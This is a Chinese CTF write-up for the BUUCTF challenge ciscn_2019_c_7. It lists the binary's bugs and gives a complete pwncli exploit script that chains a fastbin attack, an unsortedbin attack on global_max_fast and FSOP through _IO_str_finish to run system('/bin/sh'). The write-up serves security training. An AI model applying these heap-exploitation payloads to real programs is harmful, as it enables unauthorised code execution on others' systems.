[BUUCTF]ciscn_2019_c_7
ciscn_2019_c_7
总结
主要是限制了UAF
的chunk
的大小为0x20
,并且限制了add
的次数,就很难受,并且题目用的还是calloc
,没有使用tcache
。最后还是使用fastbin attack
+unsortedbin attack
+ FSOP
获取到的shell
。
fastbin attack
用于修改chunk size
unsortedbin attack
用于修改fast_global_max
FSOP
利用IO_str_finish
拿shell
题目分析
checksec
题目分析
结构体
逆向分析出Servent
的结构体如下:
struct Servent
{
char *name;
uint64_t aggressivity; // 攻击力
};
漏洞点
漏洞1
:recruite
中的size
可以为负数,下面做减法就会得到一个很大的正数,这样先把money
搞到很大
漏洞2
:expel
分支
漏洞3
:可以任意地址置为0
,这个漏洞我没用到。但是隐约猜到了用处。
别的漏洞就没看到了。
利用过程
- 利用漏洞
1
将money
搞到很大 - 利用漏洞
2
,修改某个chunk
的size
,泄露出堆和libc
地址 - 还是利用漏洞
2
,进行unsortedbin attack
,打global_max_fast
- 释放一个很大的
chunk
,刚好覆盖掉_IO_list_all
- 利用
FSOP
拿shell
Exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def recruite(size:(tuple, list), name:(tuple, list)):
p.sendlineafter("Give me your choice:\n", "1")
p.sendlineafter("How many servents do you want to rescruit?\n", str(len(size)))
for i in range(len(size)):
p.sendlineafter("Input the name's size of this servent:\n", str(size[i]))
p.sendafter("Input the name of this servent:\n", name[i])
def expel(idx:int):
p.sendlineafter("Give me your choice:\n", "2")
p.sendlineafter("Tell me his index number:\n", str(idx))
p.recvuntil("Ok, I'll kill ")
msg = p.recvline()
info("msg recv: {}".format(msg))
return msg
def buy_weapon(weapon_type:int):
p.sendlineafter("Give me your choice:\n", "3")
p.sendlineafter("2.Excalibur --90000yuan\n", str(weapon_type))
def attack_boss(use_big_weapon='n'):
p.sendlineafter("Give me your choice:\n", "4")
msg = p.recvline()
if b"Do you want to use excalibur?" in msg:
p.sendline(use_big_weapon)
# 搞钱
p.sendlineafter("How much money do you want?\n", "-1")
p.sendlineafter("Give me your choice:\n", "1")
p.sendlineafter("How many servents do you want to rescruit?\n", str(-10000))
buy_weapon(2)
# 为堆风水布局
recruite([0x18, 0x18, 0x18, 0x2000], [flat(0, 0x21), flat(0, 0x21), flat(0, 0x21), flat({0x400:[[0, 0x21, 0, 0] * 2], 0x1410:[[0, 0x21, 0, 0] * 2]})])
expel(1)
expel(1)
# 泄露堆地址
leak_addr = expel(1)
heap_base_addr = u64(leak_addr[:6].ljust(8, b"\x00")) - 0x2a0
log_address("heap_base_addr", heap_base_addr)
# fastbin attack
for _ in range(5):
expel(1)
expel(0)
expel(1)
expel(0)
recruite([0x18], [flat([0, 0x21, heap_base_addr + 0x280], length=0x18)])
# change size
recruite([0x40, 0x18], ["a", flat(0, 0x71)])
for i in range(8):
expel(1)
# 改完size后得到一个大的chunk,释放它
expel(0)
recruite([0x60], [flat({0:heap_base_addr + 0x2e0, 0x30: [0, 0x471]})])
expel(2)
# 泄露libc地址
leak_addr = expel(1)
libc_base_addr = u64(leak_addr[:6].ljust(8, b"\x00")) - 0x3ebca0
log_address("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr
expel(0)
# unsortedbin attack
global_max_fast_offset = 0x3ed940
recruite([0x60], [flat({0x30:[0, 0x471, 0, libc_base_addr + global_max_fast_offset - 0x10]}, filler="\x00")])
expel(0)
str_jumps_offset = 0x3e8360
lock_offset = 0x3ed8c0
bin_sh_offset = 0x1b3e9a
payload = flat({
0x30: [0, 0x1441],
0x30+0x80: 0,
0x30+0x88: libc_base_addr + lock_offset, # lock
0x30+0xc0: 0,
0x30+0x28: 0xffffffffffffff, # write_ptr
0x30+0xd8: libc_base_addr + str_jumps_offset - 8, # IO_str_jumps
0x30+0x38: libc_base_addr + bin_sh_offset, # /bin/sh
0x30+0xe8: libc.sym['system']
}, filler="\x00")
recruite([0x460], [payload])
# 覆盖掉_IO_list_all
expel(3)
# 执行exit
attack_boss()
p.interactive()
构造大的chunk
:
unsortedbin attack
:
覆盖掉_IO_list_all
:
最后拿到shell
:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/15231746.html